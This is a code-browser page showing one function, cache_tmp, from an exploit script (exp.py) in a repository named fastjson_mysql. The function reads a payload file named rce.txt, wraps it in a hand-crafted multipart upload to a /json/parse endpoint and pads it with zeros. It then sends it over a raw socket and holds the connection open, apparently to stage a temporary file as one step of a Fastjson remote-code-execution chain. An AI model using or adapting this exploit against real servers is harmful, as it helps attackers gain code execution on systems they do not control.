MCPcopy Create free account
hub / github.com/Fushuling/fastjson_mysql / cache_tmp

Function cache_tmp

exp.py:11–37  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

9
10
11def cache_tmp():
12 filepath = "./rce.txt"
13 with open(filepath, "rb") as f:
14 raw_data = f.read().strip()
15 data_hex = raw_data.hex()
16 a = data_hex
17 a = b"""POST /json/parse HTTP/1.1
18Host: 127.0.0.1:8080
19Accept-Encoding: gzip, deflate
20Accept: */*
21Content-Type: multipart/form-data; boundary=xxxxxx
22User-Agent: python-requests/2.32.3
23Content-Length: 1296800
24
25--xxxxxx
26Content-Disposition: form-data; name="file"; filename="a.txt"
27
28{{payload}}
29""".replace(
30 b"\n", b"\r\n"
31 ).replace(
32 b"{{payload}}", bytes.fromhex(a) + b"0" * 1024 * 11
33 )
34 s = socket.socket()
35 s.connect((HOST, PORT))
36 s.sendall(a)
37 time.sleep(1111111)
38
39
40def exp():

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected